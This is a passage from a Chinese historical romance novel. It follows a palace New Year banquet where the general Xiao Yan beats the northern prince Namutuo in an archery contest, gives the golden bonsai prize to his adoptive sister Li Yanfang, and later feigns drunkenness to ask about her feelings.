踢踏嗒嗒,二十名魁梧的北戎汉子踏步入场,他们齐整豪健的步伐模拟骏马奔腾,几步之间,他们在场中变换阵型,打开健壮的双臂,在空中摇摆拨动,张弛有力,状似青天上振翅翱翔的鹰隼。
柔中带刚,收放自如。
数十名舞者齐声大喝,离席的那木拓应着长调,踏着豪迈的步伐加入群舞。
待他入阵,呼和声转调为激情兴奋。
好似无垠夜幕下出现一丛熊熊燃烧的篝火,烈焰点燃热情,在那木拓的带领下,二十人围起篝火,跳出欢乐庆贺的步伐。
那木拓似在欢腾中醉了酒,他摆动修长健硕的身形,脚步虽显踉跄却暗含章法,转着利落轻盈的圈,如同无拘恣意的野马,两三步跃至李宴方面前,留下意气风发的朗笑和勾魂夺魄的眼波,转身又扬起马尾,踏走而去。
那木拓的几个踏步未曾远离群舞,就好似献舞中浑然天成的一部分。
静观其变的萧偃捏紧手中金杯,纯金质软,几乎变形,他本在眼观六路,以防北戎人暴起生变,没曾想却能大饱眼福了一只贼孔雀在胡乱开屏!
虽然花枝招展的贼孔雀那木拓背对着萧偃,但萧偃可瞧清楚了,那木拓的身姿极尽舒张,臂展豪迈,他回过身来时笑意未收,萧偃再打量他方才对着的阿姊,阿姊眸中秋波沉浮,便能猜到八九分。
萧偃本以为那木拓亲身入场只是在向大晟君臣展示他的友好与善意,原来是处心积虑,一举两得,是他小瞧那木拓了!
金杯差点在萧偃掌中变为一团璀璨的废物,直到李宴方看过来,流露“莫要节外生枝”的提醒,他才一口饮尽杯中酒,将直冲脑门的醋意和怒意浇透淋湿,强自镇定。
转念一想,萧偃又患得患失起来。
阿姊会不会被他迷惑?
他长着一张还算看得过去的臭皮囊,还费尽心机在宫内扮演爽朗潇洒的风流王子,勾引招惹,但在东市时,残忍恶毒的真面目早已显露,可见此人虚伪至极,用心险恶。
阿姊不会忘了吧?
不会,应当不会,更别说大晟与北戎之间的纷争未停、血仇未销,阿姊绝不会答应。
就怕有主和派居心叵测,发现招摇的那木拓对阿姊有意,于是顺理成章给二人牵起红线,到时让阿姊下不来台,这才是真正节外生枝,给他与阿姊添堵。
萧偃目光悄然扫过宴上主宾,如虎如狼,巡视狩猎,挑选暴露异常和可疑的目标。
此时,场中北戎健舞已近尾声,将热烈的气氛再度推向高潮,结束时,太后抚掌笑赞,群臣喝彩雷鸣。
宴饮继续,酒过三巡,醉意微醺,严格的礼制形同虚设,娱乐游戏被太后允许,她还为胜者准备了彩头。
宫人翩然入内,人人都盯着即将揭晓的神秘赏赐。
注1出自唐代上官婉儿《驾幸新丰温泉宫献诗三首》。
22. 彩头
灯火明煌,宫人双手恭敬地捧着檀木托,红锦铺满的托盘上金光璀璨,照得人迷了眼。
待金霞稍退,位列前排的百官贵人们才瞧清彩头的庐山真面目,咽下口中啧啧赞叹。
那是一尊通体高不过两尺的华贵盆景,底座由质地细腻、光滑水亮的独山玉精雕而成,翠绿通透的玉石被匠心独运地切割雕琢,化为错落有致的奇峰峻峦,群山碧色中,赤金所造的百花姿态各异,生植其间。
正是一幅富贵华彩、生机盎然的盛世景象。
宫人将其放置于太后与皇帝下首,随行的督造官向饮宴众人介绍这件珍宝的来历。
“此盆景名为‘万象芳华’,以八大金工工艺精心匠作,历时年久,分门别类打造八种名花,彰其风采,显其精华。”
“分别为鎏金山涧辛夷、花丝镶嵌空谷幽兰、锤鍱天香牡丹、金银错双色曼陀、掐丝傲霜金菊、炸珠含香木樨、錾花白雪寒梅、累丝濯涟菡萏。”
“辛夷浓华自重,幽兰高洁出尘,牡丹雍容典雅,曼陀坚韧耐久,金菊不畏寒霜,木樨花中一流,寒梅严冬独绽,菡萏纯洁清廉,八大金工技艺精雕细琢呈现其极盛之态,嵌于碧玉山间,可谓群芳重华,包罗四季光转、晴日雨雪之万象。”
督造官介绍完毕,殿中赞叹声此起彼伏,其贵重、其精巧、其匠心、其意蕴皆为上上乘。
督造官暂退,礼官出列。
“盆景万象芳华即为本次宴游拔得头筹者可获之彩头。宴游多以投壶取乐,然今有北戎贵客至,太后与陛下念北戎风俗存异,嬉乐之法不同,为求公平,不分彼此,故溯投壶之源,复为射礼。”
李宴方已将万象芳华背后的关窍看明白。
先前,北戎歌舞在殿内掀起欢腾热浪,盆景万象芳华作为器物,承载着大晟独特悠久的技艺、体现大晟丰盈渊深的文化蕴含,它实则是对草原舞蹈的一出“礼尚往来”,亦是兵来将挡水来土掩的文化浸润。
两国文化在一来一回中冲突、交流、较量。
而北戎亦产黄金,亦造金器。大晟之金足赤、艺精湛,尽在盆景的包罗万象之中。
太后在此宴上恢复射礼,顾及那木拓不擅投壶,选择北戎人擅长的射箭,公平、体贴,免得胜之不武。
而那木拓一方若是能在宴游中获胜,他取回万象芳华,盆景足以在北戎金器中脱颖而出,遥遥碾压无数同类,叫北戎人见识到大晟的强盛国力和深厚底蕴。
这便是太后心中打响的好算盘。
射礼若输,大晟则赢下技艺鼎盛,文明流长;
射礼若赢,大晟则赢下人杰地灵,物华天宝。
输亦是赢,赢更是赢。李宴方满心赞叹,太后筹谋深远,用心独到,呈现出一场金光辉煌的礼宴外交,让大晟立于不败之地。
怪不得,太后冯峨稳操太阿、手握权柄近二十年,真叫人心悦诚服。
李宴方深思赞许之际,礼官已在台上公布宴游的玩法与规则。
万象芳华贵重,则游戏之法难度稍增。且殿中座无虚席,唯恐利箭伤人,故此次的游戏用箭并无箭头。箭与平常所用有别,会影响准头力度,哪怕是擅射之人也须得全神贯注,尽快适应。
还有一难,难在竞速。
百步之内,速发羽箭,一壶箭三十支,不仅要全速开弓超过对手,还需保持准度,穿越靶上鸡蛋大小的镂空红心,视为中靶。最后由礼官派人清点中靶数量,羽箭脱靶、偏离落地则外加时长,以所用时间长短定胜负。
“怎样?”太后瞧着已布置好的场地,似笑非笑问那木拓,“这宴游比试不知道王子是否感兴趣?这万象芳华可还入得了王子的眼?”
这可是专程为北戎贵客设置的游戏,意同战书,那木拓岂有拒绝之理?何况北戎人人都能马上开弓射雕,他更是个中翘楚,在北戎少有败绩,此刻不从那可就真是大大丢了母国颜面。
那木拓心念一动,似有踌躇,他慢声询问:“万象芳华巧夺天工,小王大开眼界,只是有一事还想请太后明示。”
“何事?”
“小王仰慕贵国文明,前来洛都的路上略略读了几首《诗经》,周南之中有《关雎》,诗中言道‘窈窕淑女,君子好逑’,直来直往,心抒爱意,倒是于草原男女无异,小王大感亲切,若是小王侥幸赢下万象芳华,不知可否借花献佛,转送淑女?”
太后打量看似怀着十足诚心的那木拓,他对于求娶天女势在必行,这一招是在步步紧逼,若她首肯,则无异于将和亲之事提上日程;若她不肯,则显得小气吝啬,出尔反尔,结交不诚。
迟疑几息,太后点头:“若王子能拿下彩头,万象芳华自由你处置。”
“朝中文武有谁来与那木拓王子一较高下?”
太后朗声,满朝文武人才济济,难道真没一个能赢了那木拓,挫败他的阴谋?她应允那木拓的请求,正是自信朝中有人能战胜他。
太后沉厚威严的嗓音传遍大殿,这即是战时的号角,吹彻军中。
李宴方捏紧袖口,自那木拓在大庭广众之下说起要将万象芳华“转送淑女”,她大感不妙,以男女私情博邦交进程,亏他做得出来!
她并非自诩神妃仙子,得人爱慕,便自作多情那木拓要赢下盆景送自己,只是那木拓先前所作所为均存暗示,她不得不防。
万一,那木拓真把万象芳华捧到她跟前,她该如何得体地拒绝才不影响邦交和谈?李宴方蛾眉频蹙,眼波闪烁。
殿中愉快热烈的氛围早已散尽,座中各人面面相觑,皆把这难题看在眼里,此事早不能简单以宴游囊括之,而是你我俱知晓的两国争锋。
赢,难,要战胜马背上长大的擅射王子,且赢要把握要分寸,不能让北戎输得太难看,免得伤了表面和气。
输,就更是丢脸了,对外,颜面尽失于外邦;对内,毛遂自荐却大败而归,岂不叫人笑话。
殿中的沉默被一道清朗威沉的男声打破。<
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李宴方不必抬头,便知那人是谁,她是不是早该安心,必会有人替她拦住那木拓?
此时此刻的她已不像鄂国公府那般,事事亲为,孤军奋战。
她心海内蓦地生出些捉摸不住的愀然,微叹过后,藏下期待,望向自荐之人。
无论如何,萧偃都是她可信赖的对象。
“臣请缨,”萧偃越众而出,谦虚有礼道,“臣在北境之时常闻王子威名,只可惜并无切磋机会,还请王子在宴中不吝指点一二。”
众人见有人挑下这梁子,悬着心尽放下,纷纷出言夸赞萧侯英雄年少云云。座上太后亦点头赞许。
方才那一句“转送淑女”一落地,萧偃就决定要给那木拓点颜色瞧瞧,尤其他捕捉到李宴方那稍瞬即逝的慌张与为难后,更是当仁不让,先前一招不慎叫贼孔雀那木拓乱开屏,现在也该轮到他开个痛快了。
萧偃不见丝毫比试前的紧张,他心里悠然算计着,射箭方向是由南向北,面向大门,避免危及各席,参与游戏之人则需要面东持弓,那么,他与那木拓会背对李宴方。
恰是开屏的绝佳位置。
他从容迈步,唇角含笑,给阿姊递去一瞬的安抚柔光,看得李宴方有些面红耳赤,她两座旁都还有人呢!
场上眉来眼去,那木拓朝他看去时,目光瞬间锁定天生含笑的唇,那像是毫不在意的挑衅,太嚣张了,太狂傲了。
萧偃决心上场,为的是李宴方。
那木拓心头一念浮出,是萧偃策马于李宴方身后的显露出的占有欲和保护欲;另一念泛起,是四州北戎臣民死于刀锋之下的绝望与仇恨。
他握紧礼官所备的柘木弓,上好的材料,精良的制造,很好,好得足以让他新仇旧恨一起算。心底燎原起灼热的烈火,把他的五脏六腑烤得死去活来。
转念之间,那木拓脸上已浮现以武会友的轻松与爽快,他朗声对萧偃道:“萧侯大名如雷贯耳,请赐教。”
萧偃含笑不应,眉间疏狂,低头调弓,似乎不把对手放在眼里。
百步之外,是宴会射礼上专用的彩锦箭靶,靶心已掏空,方寸大小的镂空背后隐约可见殿外灯火行道。
萧偃从箭壶中取出一支箭,因无钢铁箭镞,重量稍轻,他已在心里计算着力度、角度、速度。
礼官向比试的萧偃、那木拓请示,待二人准备妥当,便可以正式计时开始。
殿内再次陷入沉寂,只不过这一回人人屏息凝神,众目睽睽皆锁定萧偃与那木拓。
静态之中,本就生得挺拔威武的二人,展臂张弓,姿态极尽舒展,而在瞧不见的地方,藏在肌肉筋骨之下的力量被调动、被凝聚,被收放自如,不曾相抵的两张强弓,在凝滞的空气里对峙着。
真正的——剑拔弩张。
礼官高喊:“启。”
“咻!”
两枚箭矢如夜幕流星,倏然劈开幽沉寂静,搅动暗夜风云。
战势打响。
23. 竞射
流星箭矢划开浮动于麟德殿中的异香与酒气,留下无形的轨道,直通靶心。
第一箭,二者旗鼓相当,就连箭羽的震颤都别无二致。
萧偃试发一箭,已把握住礼箭的飞行规律,侧手自腰后箭壶中再度抽箭,高频快发。
搭弓时弓弦嗡吟,未曾阻止他耳听八方,站在他侧前方几步之远的那木拓亦同时开弓。
他不必正眼去瞧,只继续瞄准远方的彩靶,手中加快了动作。
弓弦张弛,羽箭破风,在这一阵阵有节律的响动中,座上客均屏息观望,生怕错过能分出胜负的精彩瞬间,捕捉着一方的稍迟一步,或羽箭偏离坠落于地。
但没有意外发生,箭箭中靶。
直到二人箭壶中的羽箭越来越少,两人仍未有一人出错,发箭的频率仍然相差无几,战况尤为焦灼。
李宴方虽强作镇定,但心头突突直跳,瞄着萧偃的箭壶,那里只剩五箭,二人怕是要在毫厘之间决出胜负了。
瞬息之间,又一箭飞去,又一箭在弦,快得甚至连留给她紧张的时间都所剩无几,藏于案下的双手紧抓裙裾不放,锦缎上明丽的山水山崩地裂、断流咆哮,就如同她的心潮,杂乱、浩大,不可遏制。
她紧盯场中变化,像是在绝望地等待着最后的宣判。
萧凭陵,你当不会叫我失望吧。
她这么想,可结果若是真不如人意,她会怪罪他么?怪他横冲直撞?怪他自不量力?
不能,她怎么能怪他?
没有他,还会有谁挺身而出?
此时,每人壶中之箭各余两支,二人射速相差微厘。
也许冥冥之中萧偃与她心有灵犀,在最后两箭之时,他偏头回首,给侧后方的李宴方留下一个志在必得的笑赢。
这已经是他收敛过了的张狂,扮作从容与自信。
李宴方眸光凝滞,直至被余下的两羽箭强势拨动。
只见萧偃手持双箭,气定神闲地架于弓上。
一箭双雕若成,他必然快过那木拓,而此刻的那木拓背对萧偃,并不知其双箭齐发。
是个超越对手的绝佳时机!
可若是失之毫厘,便会彻底输掉这一场宴戏,万象芳华则将由那木拓自行处置,而局势也将由那木拓带往不可预知的走向,那个把她深深卷入的走向。
李宴方明知他胸有成竹,可仍不禁提心吊胆。
箭矢唳空,双箭齐头并进,如瀚海双龙出渊,腾跃而起,直冲云霄!
她不由得旋首追寻,耳间明珰因此摇晃不已,一下又一下地轻敲肌肤。
两箭过靶!
礼官敲击金锤,金声于殿中荡开,唯余袅袅之音。
被攥出褶皱的裙裾终于在这一刻得到释放,李宴方惊觉指节微痛,想必是太过用力所致,悄悄在案下活络松动。
指尖麻木,失去感触,可心底回荡的激动缓缓传递至指尖,强烈地召唤双手之中蕴藏的生机。
那木拓以一箭之差落后于萧偃,两人箭箭过靶,无需再附加时间,所以当萧偃的箭壶空置、双箭正中,比试就此尘埃落定。
礼官喜笑颜开地宣布萧偃获胜,座中喝彩声声,紧张的心情散去,有些人反应过来,最后的一箭双雕简直是萧偃的炫技之举,他约莫是一开始就乘胜追击会叫北戎王子丢了颜面,故而在最后才一举反超,“惊险”获胜。
射箭不止比张弓之术,更是谋心算筹的较量。
是射艺技高一筹,亦是洞察力胜对方。
那木拓转身,与萧偃四目相对,一方幽冷深沉,不知是憎恶对手的投机取巧,还是见强敌如斯,心生愤恨;而另一方坦荡欣悦,嘴角笑意嚣张,把真正的挑衅之态展于对手眼前。
“受教了。”此话那木拓说得不情不愿,但一想起萧偃在用兵计谋上也多行诡计,声东击西,便也了然,这等小人须得早日取其首级,免得夜长梦多!他心念一转,生出一计。
萧偃拱手,故作谦态:“不敢当。”
座上太后听完礼官宣布结果,食指无声地轻敲宝座,微微点头,一场宴戏,精彩跌宕,不输人也不输阵,一切尽在她掌握之中。
太后慢声开口:“王子箭术精湛,萧卿颇有造诣,平分秋色,宴戏精彩绝伦,乃宫中少有,叫人大饱眼福。王子远道而来,初试我朝宴席射礼,不可让其空手而归,便取来黄金珠玉聊作小礼。”
所谓平分秋色不过是不伤和气的谦辞,太后心如明镜。
那木拓微微低头谢过,皮笑肉不笑,这粗俗的黄金哪里比得上匠心独运的万象芳华,这一堆俗物若是真送了人,定要白白遭人笑话。
一场好计就此落空,这老妇有几分手段,不怪乎陆朴想要她落马。
料理好了北戎王子,太后含笑转向站在殿中的萧偃:“萧卿年少有为,屡屡让朕刮目,这汇聚八方工艺的万象芳华是你的了。”
礼官得到太后的示意后,将万象芳华捧至他面前。
“谢太后陛下,”他接下,玉石赤金,入手微沉,又问,“臣亦有想转赠之人,请求太后准允。”
太后点头:“得胜者有转赠之权。”答应过北戎王子,不可能不答应萧偃。
李宴方听完,案下放松的五指再度攥紧,只愿自己想错。
可那汇聚满场光辉的人已漫步走来,他本就挺拔英秀,今日得胜后更是成为唯一焦点,灼亮得令人目眩神迷。
她宁愿自己不在场中。
早知道她就按照最初逃避那木拓设想,装作酒污衣裙,离席更换。
三十六计走为上,尽快脱身才好。
只是一瞬邪思流转的光阴,玉山一样的人已行至眼前,弯下劲腰,彬彬有礼。
“昔年双亲既去,多赖阿姊照拂,今得珍奇,当赠阿姊。”寥寥数语,温柔真挚,声音不高不低,却该听到的人已听清。
千百双眼睛盯着,李宴方知道自己推拒不掉,只是庆幸他没说出什么不能在大庭广众下言明的虎狼之辞,真不像他的风格。
掩饰心中忐忑犹豫的温和面具被她悄然戴起,得体起身,接过:“尽尊长之责罢了,多谢。”
开口一瞬,她惊觉,那个舌绽莲花的人已不知踪迹,只剩一句干巴巴的道谢,她本该赞美他自立自强,强调二人的姐弟身份,莫叫人多疑。
她第一次如此不满自己的口才。
萧偃并未放手,他就着李宴方
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缓缓下沉的双臂,替她捧着这一方略有重量的珍奇盆景。
他并不知道她五指尚带痛意,如果他早早放手,万象芳华可能会摔下,但以他一直以来对她的关心,意外地保全了这尊盆景,以免她在众目睽睽之下失态。
万象芳华稳当地落于李宴方的案几上。
李宴方惊魂未定地坐下,感受到灼热的艳羡目光,那是来自于上官柔仪等人的羡慕,如此直白,如此滚烫,将她还未落定的心再一次熨烫。
萧偃潇洒转身,踱步至座位,迎来那木拓的含恨目光。
他把那木拓最想赢的东西,赢了下来;把那木拓最想赠送的礼,送给那木拓最想送的人。
怎么没把他气得一命呜呼?萧偃如是想。
只是那木拓这恨意,只能作为他得意烈火上的香油,猛然浇下,让他更为快意,毫无威慑作用。
萧偃举杯饮尽,他的计划还剩最后一步,这一步需得美酒相助。
恰好座中客前来敬酒称赞,无论对方出身门第、官职高低,他统统一饮而尽,来者不拒,给了十足面子。
推杯换盏间,更漏声声尽,只余冷馔残酒,年纪大的臣工已向太后告退,太后摆摆手罢宴,守岁之事且让臣僚回家去守。
宫门外马车辚辚,赴宴贵人有序归家。
来时,李宴方的马车上只有她与照清,而归时,马车上还是二人,只不过变成了她与微醺的萧偃。
萧偃被同僚灌下不少酒,已是驾不得马的状态,李宴方见状一招手,他就被紫电青霜抬上车来。
“萧凭陵,你怎么就醉成这样?”
李宴方安置好被宫人收于锦盒中的万象芳华,瞧见那人靠在车壁上,不由得轻声埋怨,也管不得那人现在还能不能听懂。
他抱着臂,歪头靠着,束发的金冠微松,两绺青丝逃逸出来,倾泻而下,掩于他似玉精雕细琢的俊俏容颜之上,增添了几分落拓潇洒之感,薄唇轻启,短短几字,被陈酒佳酿泡过的低沉嗓音拉得老长。
“喝啊……人、逢、喜、事,为何……不喝?”
李宴方垂下眼睫,看来是醉了,答非所问,似是而非,总之就一个颠颠倒倒,晕晕乎乎,她无奈道:“回家之后,多灌些醒酒汤罢。”
醉倒的人好像无法理解完整一句话的含义,只抓出其中感兴趣的字眼,喃喃:“家?家里好……有阿姊!”
低声私语转到尾音时已昂扬雀跃,承载着由心而发的开怀喜悦,那快乐像是被抛高的彩球,一瞬间飞至空中,旋转、跳跃,又在下一瞬间跌落回。
他不再出声,两眼紧闭,气息绵长。
醉了,真醉了,她想,没呕吐也是个省事的,用不着她照顾。
李宴方就突然想起陆韫之来,陆韫之也醉过,他不是什么好人,但也算颇有几分姿色,醉倒之际,能叫她想起“玉山将崩”四字来,那时新婚燕尔,你侬我侬,照料起他来,倒也甘之如饴。
只是现在想起,却有些自甘下贱的自厌恶感。
陆韫之不配。
她收回深思,睨眼打量萧偃,似是在扪心自问:此人可配?
思量之时,紫电叩击车门:“乡君,到宅邸了。”
24. 新岁
侯府门前,李宴方踩着马杌下车,紫电青霜阔步上去将人从车内架出来,颀长的身躯在这一刻失了威严,脚步虚浮,多有迟滞。
“阿姊……”寒风里一声低语,充满哀求乞怜,像是不想叫人听到的低叹,可偏偏在他从她面前走过时,从喉中逃逸而出。
这两个字好似风中夹雪,拂到她脸上,化作冰凉的钩子,钩出埋藏在心底的怜惜。
身体比心意先动,她迈着步子跟随扶着萧偃的紫电青霜,往西院走去。
庭院游廊下内一步一隔的灯笼照亮他的颓态,也不知道为什么,李宴方心头蓦地窜出几个字,“家丑不可外扬”,尤其是家主本是叱咤风云的一方豪杰、统领劲旅的年少侯爵,在酒后失态至此,完全灭了自己威风。
虽然府内仆从绝大多都是足以信赖之人,但也不能荒唐成这样,她心里生出给他兜底的想法,便做了。
西院近在咫尺,她叫紫电先入主屋打点,让青霜去备醒酒汤,而她接过萧偃,扶着他。
搭在肩上的臂膀并不沉,李宴方秀眉轻皱,略有迟疑,她能把咽气的陆韫之从床上背入石室,并不是弱质之辈,但她也没想到架起萧偃会如此轻松,方才可是两人才把他“请”下马车。
他莫不是在装醉?!
犹豫思索之际,萧偃歪了脑袋,那已经松松垮垮、勉勉强强束在乌发上的金冠骤然跌落,李宴方一个趔趄,眼疾手快地接住。
金冠在手,青丝倾泻。
李宴方没功夫打量萧偃,也没再细想醉与不醉的问题,把易损的金冠交给打点完毕的紫电,紫电将其接过,放置于镜前,便出了屋。
是不是某个人给他打了眼色?紫电不应该等她吩咐吗?
李宴方将萧偃扶至床榻边,又发现了一处疑点。
微醺的萧偃自己把靴蹬掉,一头栽倒在松软的床褥上。
他绝不会让阿姊替他脱靴,几乎是下意识地,忘记自己在佯醉这件事。
在军中时间紧迫,他因而练就这一身快速脱鞋的本领,在此情境下不假思索地用上,尚未发觉这已然意外地成为暴露的可疑之处。
萧偃继续假装,他窝在床榻上,半蜷着身体,赤红的锦袍如灼艳牡丹般恣意盛开,油亮细韧的青丝在枕边漫而披散,中和掉他冷厉锋锐的气质,让一个长久刚强勇武之人显出几分闲散悠然,变得可亲起来。
尤其是此人羽睫轻颤,双目半阖,星亮眸子闪闪烁烁,在可亲之下,进一步生出“任君采撷”的惹怜之意。
好离奇,好诡异,李宴方生出这等想法之时不由得打了个寒颤,她也醉了?在席间明明没喝多少。
她该立即离去。
被子也不替他盖上,玉帐也不帮他放下,转身只留背影。
他扯住她尚垂于床榻上的袖,似发梦呓:“阿姊……那个狗男人你可千万……千万别给他正眼啊,我一眼就看出他不是个东西……”
“什么?”他的声音低沉又含糊,她弯下腰,试图听得更清楚。
甘醇的酒香从他的唇齿间再度挥发:“别理他!”
“哦,”不指名道姓,但李宴方瞬间明白他在说谁,从善如流道,“那我不理他。”
“也不可以看他……”
“这可不行,”李宴方存心逗他,“人家在我眼前晃悠,我既然没瞎,那肯定会看进去的呀。”
霜打的茄子,丧气的河豚,此时都能形容萧偃,他心想,已经醉了的人是不讲道理的,装疯卖傻,胡说八道。
“你看他一眼,他便以为你喜欢他了!男人就是这样,容易自作多情……”
李宴方煞有介事地点头:“原来男人喜欢自作多情啊,我才知道呢。”
糟糕,好像被她骂了,萧偃给别人挖的坑还没用上,自己先被她一把推下去。
灰头土脸,甚是难看。
不如直借醉意,问她,是不是他自作多情?心虚的人声音渐小:“阿姊喜欢金花吗?”
那金灿灿的万象芳华似在此间闪烁,就算是遍览宝物的行家见到它也会拍案叫绝。
李宴方如实答道:“喜欢,怎么会不喜欢?”
她干脆坐于床沿,反正此人八成装醉,干脆提醒他,下次别在大庭广众下弄出这些阵仗来。
他听出一语双关之意,掩不住的心思向上窜,问出最想问之话。
“阿姊喜欢花了,能不能喜欢一下送花之人?别叫他自作多情。”
哀求,摇尾乞怜,身后的人靠过来,仅距咫尺,带着酒气的呼吸萦绕在她腰后,那方重工刺绣的襟袖亦被他攥紧,连绵的崇山困于他掌中,飞鸟不得出。
他果然是在装醉,怎么跟七岁小屁孩一样!
李宴方不必回头就能确定无疑。
他装疯卖傻这么久,哄着她陪他演戏,就是为了问这一句吧,好一个循循善诱,步步为营。
如果他有尾巴,这一刻一定得意地东摇西摆,转出风来。
刚好经此宫宴,她也有些本不乐意道明的话想与他说清。
佯醉恰是好时机,有些醉话说出来也会在酒香弥漫的风中远去,明日便能当作什么都没有发生,而不是字字句句凿刻在心头,留下伤口与疤痕。
难得糊涂。
李宴方正要扮醉装疯,脱口而出,可麟德殿中赠宝那一幕挥之不去,再度浮现心头,她还记得上官柔仪的眼眸。
情窦初开的女子藏不住心事,欢喜和艳羡尽数爬上秀丽的眉和澄澈的眼,那么亮,那么闪耀。
那一瞬,李宴方如何想?
她是该防备有人惦记上萧偃,还是该羡慕上官柔仪的爱慕之情来得坦坦荡荡?
她若在年少时,也有人越众比试,摘得桂冠,进而让全天下的人都知晓他心中对她的爱慕,她也该一边含羞带怯,一边得意洋洋地接过彩头。
那是她与他的感情,本就该让天下人知晓,再听着众人叹一句“只羡鸳鸯”。
可她不再年少,这一双眼瞳里再也无法盛满柔情与真意,再也无法满怀勇气,奔向不定的前程。
他的阿姊沉默许久,沉默到他起伏的心潮渐渐平息,热情也渐渐冷却,他再度开口,隐有幽怨:“是我不好……”得不到你的喜欢。
李宴方闻声长叹:“我是怨我自己。”
这时候该有一壶酒,浇烈愁,焚尽心中难平事。
“萧凭陵,你最清楚我从小自负,却没料到会经历聪明反被聪明误的一遭,机关算尽太聪明,反倒自投罗网,落得一身剐。”
“那些年蛰伏的日子不好过,人若能意气张扬,何必做小伏底?我不开心,可这却是我咎由自取,如何能心甘情愿接受?”
“我害怕再度失算,害怕重蹈覆辙,这一切都与旁人无关。萧凭陵,其实我是一个很怯弱的人,也会变成畏首畏尾、躲闪逃避的模样。”
过刚易折,母亲果然没有说错,李宴方终于承认了她的脆弱,这一刻得到释然,却也被痛苦钻入肌肤、敲打骨骼,原来她的真面目如此不堪,如此粗劣。
她其实并没有他眼中的那么好,也不如自己理想中的那么强悍。
承认自己无能的这一刻,李宴方会痛。
萧偃也跟着痛。
她过去,挡在他身前,替他出头,教他反抗;她与他念书习武,过目不忘,剑可破竹;就连母亲去世之后,哭得肝肠寸断的她也能重新振作,坚定地告诉他+——她们以后也能过得很好。
她如此伟岸,这一刻她终于亲手摧毁掉经年日久、一寸一尺造出的金身,泥胎暴露,轰然倒塌,灰飞烟灭,留下的回音只余宽慰——并非你不好。
原来,真正残忍的人是你啊!萧凭陵!
自责与懊悔铺天盖地,他双目通红,攒下的恨意不知道该向谁发泄,是要指向逼迫阿姊剖白剔骨的你自己吗?!
阿姊借醉吐露心事,是她太清醒,太聪明。
可这也不好,对自己下起手来不顾后果、不遗
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余力,一身傲骨的人就此破碎、凄迷,而他变作映照全程的铜镜,让她走近,让她把怯弱破碎瞧得一清二楚。
他真是十恶不赦。
失去了语言,失去了怨恨,失去了安慰她的手段,萧偃将手中的袖攥死,像是要把它摁入肌肤,压进血肉,与骨骼融为一体。
说出来果然好受许多,袖口的变化疏心察觉,李宴方浑不在意。
她知道,他的感情。
可她做不到跳跃出昔年的义姐弟身份与他相处,真奇怪,明明一个身负人命、手沾鲜血的恶徒竟会在这一刻念起被记载于故纸堆上的道德规则来?
强烈的背德感压着她的心,化作喃喃絮语的老学究在她身边耳提面命,陈词滥调被老学究丢入炉火中熔炼,造出鞭,鞭打;造出牢,牢囚。
又痛了。
“我该拿你怎么办呐。”叹息是从北境直下至岭南的最后一道风,强弩之末,消散得了无踪迹。
李宴方起身,袖口松了。
她关心他,在意他,是从小到大养成的习惯,是亲情之爱,她确定。
什么是相思情爱,她竟然无法区分。
她与陆韫之相处的三年,有爱吗?如今回想起来乏善可陈,除了浓烈的恨意和得手的畅快,竟然不剩什么痕迹。
她居然不懂什么是爱!
情是何物?情是何物?生死相许么?像雁丘上的双雁,坠地逐之,同下黄泉?只余千山暮雪。
她这么自私自利不择手段的一个人从未想过生死同赴,难道注定无法懂得“情”?
不懂,便无法回应。
一步又一步,她逐渐远离他,他未再作挽留。
关上房门,恰是子时,夜幕中升起无数焰火,院外响起炮竹声声。
“过年了,新春吉祥。”
李宴方在与谁拜年呢?
好多年都是这么过,她与他的身影被写入岁月长书中,早已定格在过去,融进心脉。
扯出来忘掉,好难。
烟花的劈里啪啦声差点就彻底掩盖李宴方的脚步声,可萧偃耳力不凡,知她停在门前,未再离去。
他从床上坐起,眼神早已恢复清明,炯炯有神,堪比烛火,松散的乌发自然垂下,遮住一半面容,把他衬得颓丧却妖异。
岿巍如山的身躯一动不动,直到外头再度响起李宴方的脚步声,确认她的离去之后,萧偃才再度躺倒于床上,今日的计划本欲逗她开怀,试探自己在她心中的位置,却弄巧成拙,还伤了阿姊的心。
他无论如何都无法安眠,衣也不更,垂头丧气地翻来覆去,他尝试着闭上眼,静下心,没曾想脑海中一闪而过那木拓的毒怨眼神。
心头一紧,他不能就此退却,阿姊已被那木拓盯上,和亲毒计初现端倪,阿姊的情绪他要顾及,阿姊的安危他更要在意!
可不能让别人捡了大漏。
阿姊的心如同铜墙铁壁的围城,难以攻下,一时之间,萧偃心头突然窜出几行字来。
敌佚能劳之,饱能饥之,安能动之。(注1)
以近待远,以佚待劳,以饱待饥。(注2)
他豁然开朗,自言自语道:“究其矛盾,逆向攻破。”
既知阿姊心中症结所在,恰是可以由他对症下药,这可是旁人不懂的窍门,得不到的优势。
而那导致症结的鄂国公府,将其捣灭,除尽病灶。
他要告诉她,那些不过是小事一桩,比如盛夏的蚊蚋,在手臂上咬出个包罢了,不值得她如此在意。
纱帐中不小心放进蚊子的小错而已,哪里能摧毁她的金身!
眼下,她难过沉郁,他就宽慰解语;她心陷苦涩,他就做一块粘糖。
她若逃避抗拒,他就死缠烂打!
总而言之,言而总之,她不与他断绝姐弟关系,他就是近水楼台,这月,他总要揽入怀中。
注1出自《孙子兵法》虚实篇;注2出自《孙子兵法》军争篇。
25. 初一
应昌六年在一个晴好明媚的冬日如约而至。
李宴方夜里睡不好,醒得很早,但竟然毫无困意。她推开朱窗,冷意袭来,让她浑身一激灵儿。
照清前来服侍,她倒是精神好,见了李宴方欢欢喜喜道一句:“乡君,新春如意!”
“新岁安康,”李宴方打趣她,“你昨儿个没守岁?还这么元气十足?”
照清窃笑:“我昨儿个看那尊盆景看得入迷,睡得可香!哇,那成色,那做工,那些花儿栩栩如生,在梦里也开得金光璀璨。”
原来是老鼠掉进米缸,昨天李宴方让照清将其安置好,没想到让个小财迷做了美梦,睡得香甜,她哭笑不得:“年后工匠上工时,让人打个罩子护起来,免得吃了灰,败它颜色。至于这些天里,它的安危就交给你。”
照清一口应下,她走到妆镜边替李宴方梳头时又开始嘀咕:“还好萧侯射艺高人一筹,要是这盆景让北戎王子得了,可不知道要有多少人不情不愿呢。”
“你帮我梳个简单的发髻,我待会要去小校场。”李宴方听闻她提起那木拓,倏地打断照清。
有些事可以当作没发生,但有些问题必须得解决。
照清见她转变之快,便知有要事,不再贫嘴,安心梳头。
用过朝食,李宴方才知萧偃早就醒来,她不留犹豫,直往西院小校场。
西院寒风未至,只有刀风阵阵不歇。
横刀配以边军实战套路,霸道刚直,杀气凛冽。
持刀人寒冬腊月一身轻薄宽松的窄袍,视冷风为无物,他仍沉浸于刀法中。
但李宴方能猜到他已经发现自己的踪迹,眼观六路耳听八方,是任何一个武者都需掌握的技能。
